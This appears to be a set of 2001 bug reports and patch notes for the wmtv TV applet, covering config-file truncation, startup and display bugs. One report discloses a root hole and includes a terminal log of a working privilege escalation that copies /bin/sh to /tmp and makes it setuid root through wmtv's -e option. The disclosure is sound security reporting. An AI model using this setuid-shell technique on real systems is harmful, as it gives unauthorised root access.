Subject: wmtv: shortens user's configuration file
Date: Sun, 18 Nov 2001 02:38:00 +0100
Hello !
When wmtv writes it configuration back to the user's configuration file
(after the user tried to fine-tune the channels) it forgets the last
channel. And then... one can't start it any more without correcting the
configuration file first.
The patch included makes wmtv write all the channels back.

Subject: wmtv: does not start without user's ~/.wmtvrc
Date: Sun, 18 Nov 2001 00:17:26 +0100
Hi !
The current version of wmtv does not start if the user does not have a
~/.wmtvrc configuration file, while one could expect it to work with the
system wide configuration file /etc/wmtvrc.
This patch allows wmtv to start with the system wide configuration file
alone.

Subject: wmtv: dangerous suid root
Date: Thu, 08 Nov 2001 20:07:52 +0100
Hi !
I think there is a huge security hole with wmtv and, when wmtv is installed,
anyone can easily get a root account. Here is what I have in my terminal:
(everytime I launch wmtv, I double-clicked in the tv subwindow to call the
external program)
----------------------------------------------------------------------
Tintin:~> wmtv -e whoami
root
Tintin:~> cat > crack_root.sh
#!/bin/sh
cp /bin/sh /tmp
chmod u+s /tmp/sh
Tintin:~> chmod +x crack_root.sh
Tintin:~> wmtv -e ~/crack_root.sh
Tintin:~> ll /tmp/sh
-rwsr-xr-x 1 root users 407356 Nov 8 19:25 /tmp/sh*
----------------------------------------------------------------------
I tried to make wmtv non-suid root, and... sometimes it works (despite an
error message), sometimes it does not...
----------------------------------------------------------------------
Tintin:~> ll /usr/bin/X11/wmtv
-rwxr-xr-x 1 root root 62588 Jul 31 01:55 /usr/bin/X11/wmtv*
Tintin:~> wmtv
ioctl VIDIOCSFBUF: Operation not permitted
Tintin:~> wmtv
ioctl VIDIOCSFBUF: Operation not permitted
wmtv: no physical frame buffer access
----------------------------------------------------------------------
Hence, I guess you should either correct wmtv so that it always work without
being suid root, or make wmtv lose its privileges before it runs an external
program.

Subject: wmtv: incorrectly calculates bytes per line
Date: Mon, 09 Apr 2001 21:15:52 +0100
wmtv does not put the tv display in its window on my second head.
According to bttv, wmtv is telling bttv that the display is:
Display at ea800000 is 800 by 600, bytedepth 2, bpl 1600
If I use xawtv, it correctly sets the bpl value:
Display at ea800000 is 800 by 600, bytedepth 2, bpl 1664
wmtv is probably incorrectly assuming width * bytedepth = bpl.

Found the problem, at least this fixes it for me at 1600x1200.

Patch by Yann Vernier <yann@algonet.se>. From [1]:
wmtv failed to read my .wmtvrc (hand written) correctly, I tracked it
down to incorrect memory management (sizeof() instead of strlen()).
The code was so bad that I chose to rewrite it to a simpler version,
patch below.
Other bugs fixed include some of the memory leaks (which are quite
numerous) and truncating the .wmtvrc when writing to it.
Cosmetic changes include keeping comments in .wmtvrc, C++-style
comments changed to C style, and numbering channels from 1.
